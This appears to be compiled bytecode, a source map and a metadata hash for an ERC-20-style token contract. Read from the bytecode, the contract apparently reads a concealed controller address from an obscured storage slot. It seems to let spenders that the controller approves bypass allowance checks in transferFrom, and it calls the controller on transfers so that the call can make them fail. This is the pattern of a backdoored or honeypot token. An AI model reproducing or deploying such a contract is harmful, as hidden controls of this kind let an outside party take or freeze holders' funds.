5e2575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016105d99190610fb1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610652575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016106499190610fb1565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561073b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107329190610eda565b60405180910390a35b50505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610779575f80fd5b5f80610783610c1e565b73ffffffffffffffffffffffffffffffffffffffff1663ce56c422856040516024016107af9190610fb1565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516107fd9190611081565b5f60405180830381855afa9150503d805f8114610835576040519150601f19603f3d011682016040523d82523d5f602084013e61083a565b606091505b509150915081801561085c57508080602001905181019061085b91906110c1565b5b92505050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108e657826c0c9f2c9cd04674edea40000000826040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016108dd93929190611008565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146109e7575f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156109a2578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161099993929190611008565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610a6457805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610acc57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610b37578173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b2e9190610eda565b60405180910390a35b505050565b5f80610b46610c1e565b73ffffffffffffffffffffffffffffffffffffffff1663dd2d8bd687878787604051602401610b7894939291906110ec565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610bc69190611081565b5f604051808303815f865af19150503d805f8114610bff576040519150601f19603f3d011682016040523d82523d5f602084013e610c04565b606091505b5050905080610c11575f80fd5b6001915050949350505050565b5f805f60037fafd14db96c89d37b0270403963055a5b15c25139b291381f4c7dad3c538606005f1b901c5f1c73ffffffffffffffffffffffffffffffffffffffff1663782d557d6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610cb99190611081565b5f60405180830381855afa9150503d805f8114610cf1576040519150601f19603f3d011682016040523d82523d5f602084013e610cf6565b606091505b509150915081610d04575f80fd5b80806020019051810190610d18919061116a565b9250505090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d56578082015181840152602081019050610d3b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d7b82610d1f565b610d858185610d29565b9350610d95818560208601610d39565b610d9e81610d61565b840191505092915050565b5f6020820190508181035f830152610dc18184610d71565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610df682610dcd565b9050919050565b610e0681610dec565b8114610e10575f80fd5b50565b5f81359050610e2181610dfd565b92915050565b5f819050919050565b610e3981610e27565b8114610e43575f80fd5b50565b5f81359050610e5481610e30565b92915050565b5f8060408385031215610e7057610e6f610dc9565b5b5f610e7d85828601610e13565b9250506020610e8e85828601610e46565b9150509250929050565b5f8115159050919050565b610eac81610e98565b82525050565b5f602082019050610ec55f830184610ea3565b92915050565b610ed481610e27565b82525050565b5f602082019050610eed5f830184610ecb565b92915050565b5f805f60608486031215610f0a57610f09610dc9565b5b5f610f1786828701610e13565b9350506020610f2886828701610e13565b9250506040610f3986828701610e46565b9150509250925092565b5f60ff82169050919050565b610f5881610f43565b82525050565b5f602082019050610f715f830184610f4f565b92915050565b5f60208284031215610f8c57610f8b610dc9565b5b5f610f9984828501610e13565b91505092915050565b610fab81610dec565b82525050565b5f602082019050610fc45f830184610fa2565b92915050565b5f8060408385031215610fe057610fdf610dc9565b5b5f610fed85828601610e13565b9250506020610ffe85828601610e13565b9150509250929050565b5f60608201905061101b5f830186610fa2565b6110286020830185610ecb565b6110356040830184610ecb565b949350505050565b5f81519050919050565b5f81905092915050565b5f61105b8261103d565b6110658185611047565b9350611075818560208601610d39565b80840191505092915050565b5f61108c8284611051565b915081905092915050565b6110a081610e98565b81146110aa575f80fd5b50565b5f815190506110bb81611097565b92915050565b5f602082840312156110d6576110d5610dc9565b5b5f6110e3848285016110ad565b91505092915050565b5f6080820190506110ff5f830187610fa2565b61110c6020830186610fa2565b6111196040830185610fa2565b6111266060830184610ecb565b95945050505050565b5f61113982610dcd565b9050919050565b6111498161112f565b8114611153575f80fd5b50565b5f8151905061116481611140565b92915050565b5f6020828403121561117f5761117e610dc9565b5b5f61118c84828501611156565b9150509291505056fea26469706673582212201881d5d308e4b528e6e5eee8b5bb6ff9a2cf32e0f2d844f038457879ea65a44b64736f6c63430008180033

12408:9317:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13177:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15478:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14279:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16278:249;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14130:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14441:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13387:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14764:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12800:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15017:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13177:91;13222:13;13255:5;;;;;;;;;;;;;;;;;13248:12;;13177:91;:::o;15478:190::-;15551:4;15568:13;15584:12;:10;:12::i;:::-;15568:28;;15607:31;15616:5;15623:7;15632:5;15607:8;:31::i;:::-;15656:4;15649:11;;;15478:190;;;;:::o;14279:99::-;14331:7;12677:15;14351:19;;14279:99;:::o;16278:249::-;16365:4;16382:15;16400:12;:10;:12::i;:::-;16382:30;;16423:37;16439:4;16445:7;16454:5;16423:15;:37::i;:::-;16471:26;16481:4;16487:2;16491:5;16471:9;:26::i;:::-;16515:4;16508:11;;;16278:249;;;;;:::o;14130:84::-;14179:5;14204:2;14197:9;;14130:84;:::o;14441:118::-;14506:7;14533:9;:18;14543:7;14533:18;;;;;;;;;;;;;;;;14526:25;;14441:118;;;:::o;13387:95::-;13434:13;13467:7;;;;;;;;;;;;;;;;;13460:14;;13387:95;:::o;14764:189::-;14833:4;14850:13;14866:12;:10;:12::i;:::-;14850:28;;14889:27;14899:5;14906:2;14910:5;14889:9;:27::i;:::-;14941:4;14934:11;;;14764:189;;;;:::o;12800:20::-;;;;;;;;;;;;;:::o;15017:142::-;15097:7;15124:11;:18;15136:5;15124:18;;;;;;;;;;;;;;;:27;15143:7;15124:27;;;;;;;;;;;;;;;;15117:34;;15017:142;;;;:::o;3826:98::-;3879:7;3906:10;3899:17;;3826:98;:::o;19368:130::-;19453:37;19462:5;19469:7;19478:5;19485:4;19453:8;:37::i;:::-;19368:130;;;:::o;21205:517::-;21305:24;21332:25;21342:5;21349:7;21332:9;:25::i;:::-;21305:52;;21392:17;21372:16;:37;;:66;;;;;21414:24;21430:7;21414:15;:24::i;:::-;21413:25;21372:66;21368:347;;;21479:5;21460:16;:24;21456:132;;;21539:7;21548:16;21566:5;21512:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;21456:132;21631:57;21640:5;21647:7;21675:5;21656:16;:24;21682:5;21631:8;:57::i;:::-;21368:347;21294:428;21205:517;;;:::o;17207:301::-;17287:15;17305:12;:10;:12::i;:::-;17287:30;;17348:1;17332:18;;:4;:18;;;17328:88;;17401:1;17374:30;;;;;;;;;;;:::i;:::-;;;;;;;;17328:88;17426:24;17434:4;17440:2;17444:5;17426:7;:24::i;:::-;17461:39;17475:7;17484:4;17490:2;17494:5;17461:13;:39::i;:::-;;17276:232;17207:301;;;:::o;20365:443::-;20495:1;20478:19;;:5;:19;;;20474:91;;20550:1;20521:32;;;;;;;;;;;:::i;:::-;;;;;;;;20474:91;20598:1;20579:21;;:7;:21;;;20575:92;;20652:1;20624:31;;;;;;;;;;;:::i;:::-;;;;;;;;20575:92;20707:5;20677:11;:18;20689:5;20677:18;;;;;;;;;;;;;;;:27;20696:7;20677:27;;;;;;;;;;;;;;;:35;;;;20727:9;20723:78;;;20774:7;20758:31;;20767:5;20758:31;;;20783:5;20758:31;;;;;;:::i;:::-;;;;;;;;20723:78;20365:443;;;;:::o;4884:296::-;4949:4;4997:1;4978:21;;:7;:21;;;4970:30;;;;;;5012:13;5027:18;5051:10;:8;:10::i;:::-;:21;;5096:10;5108:7;5073:43;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5051:66;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5011:106;;;;5135:8;:37;;;;;5158:5;5147:25;;;;;;;;;;;;:::i;:::-;5135:37;5128:44;;;;4884:296;;;:::o;17843:972::-;17948:1;17932:18;;:4;:18;;;17929:107;;17998:4;12677:15;18018:5;17973:51;;;;;;;;;;;;;:::i;:::-;;;;;;;;17929:107;18067:4;18051:21;;:4;:21;;;18048:396;;18088:19;18110:9;:15;18120:4;18110:15;;;;;;;;;;;;;;;;18088:37;;18158:5;18144:11;:19;18140:117;;;18216:4;18222:11;18235:5;18191:50;;;;;;;;;;;;;:::i;:::-;;;;;;;;18140:117;18412:5;18398:11;:19;18380:9;:15;18390:4;18380:15;;;;;;;;;;;;;;;:37;;;;18073:371;18048:396;18473:4;18459:19;;:2;:19;;;18456:235;;18659:5;18642:9;:13;18652:2;18642:13;;;;;;;;;;;;;;;;:22;;;;;;;;;;;18456:235;18722:4;18706:21;;:4;:21;;;;:44;;;;;18745:4;18731:19;;:2;:19;;;;18706:44;18703:105;;;18786:2;18771:25;;18780:4;18771:25;;;18790:5;18771:25;;;;;;:::i;:::-;;;;;;;;18703:105;17843:972;;;:::o;4550:271::-;4648:4;4665:13;4686:10;:8;:10::i;:::-;:15;;4725:10;4737:7;4746:4;4752:2;4756:5;4702:60;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4686:77;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4664:99;;;4782:8;4774:17;;;;;;4809:4;4802:11;;;4550:271;;;;;;:::o;4259:282::-;4302:7;4322:13;4337:18;4399:1;4186:66;4385:10;;:15;;4377:24;;4361:53;;4438:10;4415:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4361:89;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4321:129;;;;4469:8;4461:17;;;;;;4512:5;4501:28;;;;;;;;;;;;:::i;:::-;4493:36;;;;4259:282;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:442::-;6169:4;6207:2;6196:9;6192:18;6184:26;;6220:71;6288:1;6277:9;6273:17;6264:6;6220:71;:::i;:::-;6301:72;6369:2;6358:9;6354:18;6345:6;6301:72;:::i;:::-;6383;6451:2;6440:9;6436:18;6427:6;6383:72;:::i;:::-;6020:442;;;;;;:::o;6468:98::-;6519:6;6553:5;6547:12;6537:22;;6468:98;;;:::o;6572:147::-;6673:11;6710:3;6695:18;;6572:147;;;;:::o;6725:386::-;6829:3;6857:38;6889:5;6857:38;:::i;:::-;6911:88;6992:6;6987:3;6911:88;:::i;:::-;6904:95;;7008:65;7066:6;7061:3;7054:4;7047:5;7043:16;7008:65;:::i;:::-;7098:6;7093:3;7089:16;7082:23;;6833:278;6725:386;;;;:::o;7117:271::-;7247:3;7269:93;7358:3;7349:6;7269:93;:::i;:::-;7262:100;;7379:3;7372:10;;7117:271;;;;:::o;7394:116::-;7464:21;7479:5;7464:21;:::i;:::-;7457:5;7454:32;7444:60;;7500:1;7497;7490:12;7444:60;7394:116;:::o;7516:137::-;7570:5;7601:6;7595:13;7586:22;;7617:30;7641:5;7617:30;:::i;:::-;7516:137;;;;:::o;7659:345::-;7726:6;7775:2;7763:9;7754:7;7750:23;7746:32;7743:119;;;7781:79;;:::i;:::-;7743:119;7901:1;7926:61;7979:7;7970:6;7959:9;7955:22;7926:61;:::i;:::-;7916:71;;7872:125;7659:345;;;;:::o;8010:553::-;8187:4;8225:3;8214:9;8210:19;8202:27;;8239:71;8307:1;8296:9;8292:17;8283:6;8239:71;:::i;:::-;8320:72;8388:2;8377:9;8373:18;8364:6;8320:72;:::i;:::-;8402;8470:2;8459:9;8455:18;8446:6;8402:72;:::i;:::-;8484;8552:2;8541:9;8537:18;8528:6;8484:72;:::i;:::-;8010:553;;;;;;;:::o;8569:104::-;8614:7;8643:24;8661:5;8643:24;:::i;:::-;8632:35;;8569:104;;;:::o;8679:138::-;8760:32;8786:5;8760:32;:::i;:::-;8753:5;8750:43;8740:71;;8807:1;8804;8797:12;8740:71;8679:138;:::o;8823:159::-;8888:5;8919:6;8913:13;8904:22;;8935:41;8970:5;8935:41;:::i;:::-;8823:159;;;;:::o;8988:367::-;9066:6;9115:2;9103:9;9094:7;9090:23;9086:32;9083:119;;;9121:79;;:::i;:::-;9083:119;9241:1;9266:72;9330:7;9321:6;9310:9;9306:22;9266:72;:::i;:::-;9256:82;;9212:136;8988:367;;;;:::o

ipfs://1881d5d308e4b528e6e5eee8b5bb6ff9a2cf32e0f2d844f038457879ea65a44b